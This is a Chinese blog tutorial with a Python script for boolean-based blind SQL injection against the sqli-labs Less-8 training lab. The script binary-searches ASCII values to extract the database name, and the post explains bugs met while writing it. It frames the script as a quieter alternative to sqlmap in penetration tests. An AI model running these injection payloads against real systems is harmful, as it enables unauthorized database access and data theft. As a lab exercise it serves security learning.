python脚本实现布尔盲注

devtools/2024/10/18 14:21:42/

目录

代码实现

代码解释

过程中遇到的问题

1、+号url编码问题

2、二分法查找

3、如何判断这一次循环内的变量值等于上一次的值

第一种思路

第二种思路


相信师傅们在平常渗透测试中,偶尔会遇到布尔盲注的情况,但是手工的话太慢,上sqlmap流量又太大,特征太明显。所以用python脚本就是最优解,可以自定义user-agent等字段,注入速度等

代码实现

这里以sql-labs举例,代码比较粗糙,能用就行。话不多说,上代码

python">import requests
import math# http://192.168.239.1/sqlilabs7/Less-8/?id=1' and length(database())>7--+
# http://192.168.239.1/sqlilabs7/Less-8/?id=1' and ascii(substr(database(),1,1))>114--+
url = "http://192.168.239.1/sqlilabs7/Less-8/"def getdblength():for i in range(20):payload = f"1' and length(database())>{i}-- "data = {'id': payload}res = requests.get(url, params=data)if 'You are in...........' not in res.text:return idef getdbname():dbname = ''length = getdblength()for i in range(1, length + 1):low = 32high = 126flag = 0while low <= high:mid = (low + high) // 2payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- "data = {'id': payload}res = requests.get(url, params=data)if 'You are in...........' in res.text:low = midelse:high = midif mid == flag:dbname += chr(math.floor(mid + 1))breakflag = midprint(dbname)return dbnameprint('dbname is', getdbname())

代码解释

我定义了两个函数

getdblength()  获取数据库名长度,遍历1~20,查询出数据库名长度

getdbname()   获取数据库名,使用二分法查找,查询出数据库名

getdblength函数相信大家都能看懂,这里重点解释一下getdbname()函数

第一层for循环是substr的第二个参数,即从字符串的哪个字符位置截取数据库名(mysql的substr默认从1开始),范围也就是(1,length+1)

第二层while循环是与ascii码比较的参数,即截取出来的字符转ascii码后进行比较

这里的范围重点说一下,我这里用的是二分法查找,说明白点就是从一个范围的中位数查找,通过结果来缩小范围,比如第一层循环的范围的是32~126,那取中位数就是79,用79作为payload来判断结果是否为真,若为真,则说明答案在79~126之间,然后以这个范围再做为第二层循环的范围,以此类推

那为什么范围是32~126呢?

因为在ascii码中32~126包含了字符数字字母,32以下和127都是不可见字符,不可能出现在数据库名中

过程中遇到的问题

然后下面我来说说我在写脚本的过程中遇到的问题

1、+号url编码问题

在Python requests.get函数中,param参数会自动把参数内容进行URL编码,我们要的是-- ,+号在W3C官方文档中规定代替空格,而如果你在payload中再写入+号,此时+号再被url编码就变为了%2B,后端url解码后,mysql并不认识+号,所以无法正常查询

前面说到ascii码32~126是可见字符,说明下面的sql语句条件肯定成立,返回结果应该为真,但是这里看到为假,说明sql语句并没有被正常执行,%2B并没有被mysql正常解析

python">http://192.168.239.1/sqlilabs7/Less-8/?id=1' and ascii(substr(database(),1,1))>32--%2B

2、二分法查找

二分法查找,从一个范围的中位数查找,通过结果来缩小范围,速度比遍历快得不止一星半点儿。

因为中位数随时会变化,所以while循环比for循环更适合

3、如何判断这一次循环内的变量值等于上一次的值

这个问题我是思考得最久的,但现在回想起来也是最简单的,可能是因为太久没写脚本了,有点忘了

具体问题就是,在二分法循环查找的过程中,最后范围会缩小,low和high的差距会缩小为1,而mid此时也不会再变化,是一个固定的值,那如何把这个数取出来呢。

第一种思路

我开始想的是既然low和high最后的差距会缩小为1,那索性就写成

python">if high - low == 1:dbname += chr(math.floor(mid))break

但事实证明这是错误的,数据库名爆出来是 sebtq.... ,与原来的security的ascii码相差1,这个问题我思考了很久,为什么前面se是对的,后面的又不对?(这里忘截图了)

最后我在调试中发现,有些时候的查找情况并不相同

第一种情况

比如c这个字母的ascii码是99,那按照二分法查找的逻辑来,

首先99>79,为真,那范围就变成了79~126;

然后99>102(向下取整),为假,范围就变成了79~102;

99>90,为真,范围 90~102;

99>96,为真,范围 96~102;

99>99,为假,范围 96~99;

99>97,为真,范围 97~99;

99>98,为真,范围 98~99;

但此时就出问题了,if条件是high-low==1,满足条件,mid=98,ascii码转为b

第二种情况和第一种类似,但是有一些细微差距

s这个字母的ascii码是115

前面和上面一样,慢慢推

只是最后

115>117,为假,范围114~117

115>115,为假,范围114~115

此时进入if条件,mid=115,刚好为s

所以如果用这种方法来判断是行不通的,因为mid会随机-1或刚好是你想要的字母,你无法预见mid值是否会比正确的值-1

第二种思路

我发现二分查找到最后,mid会一直不变,都是同样一个数。

那有没有一种方法能够比较这一层循环的mid和上一层循环的mid呢?

那就是代码中flag变量的意义,代码中可以看到flag首先在循环外声明,然后在循环内将mid最终的值赋给了flag来保存这个值,然后if条件判断flag也就是上一层mid的值是否与这一层循环mid的值相同,如果相同,则保存

最后成功打印出了数据库名

这个方法很常见,但是我当时就是没想到,可能是太久没碰代码了,所以今天才写这篇文章来加深印象


http://www.ppmy.cn/devtools/32045.html

相关文章

安卓adb 命令查看程序日志

gcat日志导出到文件 在Android设备上&#xff0c;你可以使用logcat命令将日志导出到文件中。打开终端或者命令行工具&#xff0c;然后输入以下命令&#xff1a; adb logcat -d > logcat.txt这条命令会将当前设备的logcat日志输出到名为logcat.txt的文件中。-d参数是用来确…

设计模式之业务代表模式

在编程江湖的风雨中漂泊多年&#xff0c;每当我遇到那些错综复杂的业务逻辑和系统交互&#xff0c;总有一个模式像一位忠诚的骑士&#xff0c;默默守护着我的代码城堡&#xff0c;那就是——业务代表模式&#xff08;Business Delegate Pattern&#xff09;。它不是最耀眼的明星…

Postgresql源码(127)投影ExecProject的表达式执行分析

无论是投影还是别的计算&#xff0c;表达式执行的入口和计算逻辑都是统一的&#xff0c;这里已投影为分析表达式执行的流程。 1 投影函数 用例 create table t1(i int primary key, j int, k int); insert into t1 select i, i % 10, i % 100 from generate_series(1,1000000…

【KTips】在Kotlin中实现一个十分简单的自循环状态机

在平日的编码生活中&#xff0c;你有没有遇到过需要通过状态机来实现的逻辑呢&#xff1f;一个状态的轮转、事件订阅的通讯处理等。 状态机的实现方式千变万化&#xff0c;这里我会为你介绍一个简单的自循环状态机实现。 简单介绍 在开始之前&#xff0c;我先说明一下这个所谓…

SFT430C 用于快速充电协议和QC2.0/3.0的USB专用充电端口控制器芯片IC

一般描述 SFT430C是HiSicon快速充电协议(FCP)和高通快速充电协议控制器“2.0/3.0(质量控制2.0/3.0 )USB接口该设备可对FCP或QC2.0/3.0供电设备(PD)进行快速充电。该协议功能监测USB D/D-数据线电压或D-数据线传输&#xff0c;并自动调整移动电源和墙壁适配器的输出电压&…

【代码随想录】day48

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、198打家劫舍二、213打家劫舍II三、337打家劫舍III 一、198打家劫舍 class Solution { public:int rob(vector<int>& nums) {vector<int> dp(n…

快讯! MySQL 8.4.0 LTS 发布(MySQL 第一个长期支持版本)

MySQL 第一个长期支持版本 8.4.0 LTS 发布&#xff0c;社区版下载地址&#xff1a; https://dev.mysql.com/downloads/mysql/ 功能变更 添加或更改的功能 组复制&#xff1a;与组复制相关的两个服务器系统变量的默认值已更改&#xff1a; 系统变量的默认值为 group_replication…

数字文旅重塑旅游发展新生态:以数字化转型为契机,推动旅游产业的创新发展,提升旅游服务的智能化、网络化和个性化水平

目录 一、引言 二、数字化转型推动旅游产业创新发展 1、数字化转型提升旅游产业效率 2、数字化转型拓展旅游产业边界 3、数字化转型促进旅游产业可持续发展 三、提升旅游服务智能化、网络化和个性化水平 1、智能化提升旅游服务体验 2、网络化拓宽旅游服务渠道 3、个性…